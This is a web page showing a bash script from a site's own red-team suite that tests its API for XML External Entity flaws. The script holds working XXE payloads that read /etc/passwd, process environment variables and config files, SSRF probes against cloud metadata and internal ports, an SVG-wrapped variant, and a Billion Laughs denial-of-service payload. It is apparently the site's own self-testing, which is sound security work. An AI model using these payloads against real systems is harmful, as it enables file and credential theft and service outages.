AUTONOMY DIRECTORATE

๐Ÿ  Main

๐Ÿงช Interactive Apps

๐Ÿ“ฐ News

๐Ÿ›ก๏ธ PQ Crypta Proxy

๐Ÿ‘ค Account

โŸจ QUANTUM ERROR PORTAL โŸฉ

Navigate the Error Dimensions

PQ Crypta Logo

Script Viewer

Red Team Suite › 29_xxe.sh

29_xxe.sh 106 lines
1 #!/bin/bash
2 # 29 - XXE (XML External Entity) Injection
3 # Tests all endpoints that accept or might accept XML payloads
4 # Covers HTTP/1.1 and HTTP/2, OOB probes, blind XXE, XXE via SVG/DOCX wrappers
5
6 SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
7 source "$SCRIPT_DIR/../config.sh"
8 OUT_FILE="$OUT/29_xxe.txt"
9 echo "=== 29. XXE Injection ===" | tee "$OUT_FILE"
10 echo "Target: $TARGET API: $API_TARGET" | tee -a "$OUT_FILE"
11 echo "" | tee -a "$OUT_FILE"
12
13 W() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; }
14
15 do_xxe() {
16 local label="$1" payload="$2" ct="${3:-application/xml}"; shift 3
17 local body code
18 body=$(curl -sk --http2 --max-time 10 -A "$BROWSER_UA" \
19 -X POST -H "Content-Type: $ct" -d "$payload" "$@")
20 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
21 -X POST -H "Content-Type: $ct" -d "$payload" "$@")
22 printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE"
23 # Check for file disclosure patterns
24 if echo "$body" | grep -qiE '(root:|daemon:|/bin/bash|localhost|127\.0\.0\.1|pqcrypta_user|DB_PASS|SYSTEM ENTITY)'; then
25 echo " [VULN] Sensitive content in response:" | tee -a "$OUT_FILE"
26 echo "$body" | grep -ioE '(root:|daemon:|/bin/bash|localhost|pqcrypta_user|DB_PASS)[^\n]{0,80}' | head -3 | sed 's/^/ /' | tee -a "$OUT_FILE"
27 fi
28 }
29
30 # โ”€โ”€ Basic XXE payloads โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
31 XXE_PASSWD='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
32 XXE_ENV='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/environ">]><root>&xxe;</root>'
33 XXE_HOSTS='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><root>&xxe;</root>'
34 XXE_CONFIG='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/html/config/config.php">]><root>&xxe;</root>'
35 XXE_SSRF='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>'
36 XXE_SSRF_INTERNAL='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:'"${INTERNAL_API_PORT}"'/status">]><root>&xxe;</root>'
37 XXE_BILLION_LAUGHS='<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">]><lolz>&lol4;</lolz>'
38
39 # โ”€โ”€ 1. API endpoints with application/xml โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
40 echo "--- API XML Content-Type ---" | tee -a "$OUT_FILE"
41 for ENDPOINT in /encrypt /decrypt /generate-keys /status; do
42 do_xxe "XXE /etc/passwd โ†’ $ENDPOINT" "$XXE_PASSWD" "application/xml" "$API_TARGET$ENDPOINT"
43 do_xxe "XXE /etc/hosts โ†’ $ENDPOINT" "$XXE_HOSTS" "application/xml" "$API_TARGET$ENDPOINT"
44 done
45 echo "" | tee -a "$OUT_FILE"
46
47 # โ”€โ”€ 2. API with text/xml โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
48 echo "--- API text/xml Content-Type ---" | tee -a "$OUT_FILE"
49 do_xxe "XXE text/xml /etc/passwd" "$XXE_PASSWD" "text/xml" "$API_TARGET/encrypt"
50 do_xxe "XXE text/xml SSRF to metadata" "$XXE_SSRF" "text/xml" "$API_TARGET/encrypt"
51 echo "" | tee -a "$OUT_FILE"
52
53 # โ”€โ”€ 3. SSRF via XXE โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
54 echo "--- SSRF via XXE ---" | tee -a "$OUT_FILE"
55 do_xxe "XXE SSRF โ†’ AWS metadata" "$XXE_SSRF" "application/xml" "$API_TARGET/encrypt"
56 do_xxe "XXE SSRF โ†’ internal API :${INTERNAL_API_PORT}" "$XXE_SSRF_INTERNAL" "application/xml" "$API_TARGET/encrypt"
57 do_xxe "XXE file โ†’ config.php" "$XXE_CONFIG" "application/xml" "$API_TARGET/encrypt"
58 do_xxe "XXE file โ†’ /proc/self/environ" "$XXE_ENV" "application/xml" "$API_TARGET/encrypt"
59 echo "" | tee -a "$OUT_FILE"
60
61 # โ”€โ”€ 4. XXE via JSON endpoint with XML body (content-type confusion) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
62 echo "--- Content-Type Confusion (XML body to JSON endpoint) ---" | tee -a "$OUT_FILE"
63 do_xxe "XXE in JSON-declared endpoint" "$XXE_PASSWD" "application/xml" "$API_TARGET/encrypt"
64 # Also try with JSON content-type but XML body
65 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
66 -X POST -H 'Content-Type: application/json' -d "$XXE_PASSWD" "$API_TARGET/encrypt")
67 printf '[%s] JSON Content-Type with XML body\n' "$code" | tee -a "$OUT_FILE"
68 echo "" | tee -a "$OUT_FILE"
69
70 # โ”€โ”€ 5. XXE via SVG upload path โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
71 echo "--- XXE via SVG (image/svg+xml) ---" | tee -a "$OUT_FILE"
72 SVG_XXE='<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>'
73 for ENDPOINT in /upload /convert /process /render /image; do
74 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
75 -X POST -H 'Content-Type: image/svg+xml' -d "$SVG_XXE" "$API_TARGET$ENDPOINT")
76 printf '[%s] SVG XXE โ†’ %s\n' "$code" "$ENDPOINT" | tee -a "$OUT_FILE"
77 done
78 # Also check PDF tools API
79 code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
80 -X POST -H 'Content-Type: image/svg+xml' -d "$SVG_XXE" "$TARGET/pdf/api.php")
81 printf '[%s] SVG XXE โ†’ /pdf/api.php\n' "$code" | tee -a "$OUT_FILE"
82 echo "" | tee -a "$OUT_FILE"
83
84 # โ”€โ”€ 6. Billion Laughs (XML DoS) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
85 echo "--- Billion Laughs (XML Entity Expansion DoS) ---" | tee -a "$OUT_FILE"
86 START=$(python3 -c "import time; print(int(time.time()*1000))")
87 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
88 -X POST -H 'Content-Type: application/xml' -d "$XXE_BILLION_LAUGHS" "$API_TARGET/encrypt")
89 END=$(python3 -c "import time; print(int(time.time()*1000))")
90 ELAPSED=$((END - START))
91 printf '[%s] Billion laughs entity expansion โ€” %dms\n' "$CODE" "$ELAPSED" | tee -a "$OUT_FILE"
92 [ "$ELAPSED" -gt 8000 ] && echo " [WARN] Slow response โ€” server may be expanding entities" | tee -a "$OUT_FILE" || \
93 echo " [OK] Fast rejection โ€” entity expansion not processed" | tee -a "$OUT_FILE"
94 echo "" | tee -a "$OUT_FILE"
95
96 # โ”€โ”€ 7. HTTP/1.1 vs HTTP/2 XXE consistency โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
97 echo "--- Protocol Consistency (HTTP/1.1 vs HTTP/2) ---" | tee -a "$OUT_FILE"
98 for PROTO in "--http1.1" "--http2"; do
99 code=$(curl -sk $PROTO -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
100 -X POST -H 'Content-Type: application/xml' -d "$XXE_PASSWD" "$API_TARGET/encrypt")
101 printf '[%s] %s XXE /etc/passwd\n' "$code" "$PROTO" | tee -a "$OUT_FILE"
102 done
103 echo "" | tee -a "$OUT_FILE"
104
105 echo "=== 29. XXE COMPLETE ===" | tee -a "$OUT_FILE"
106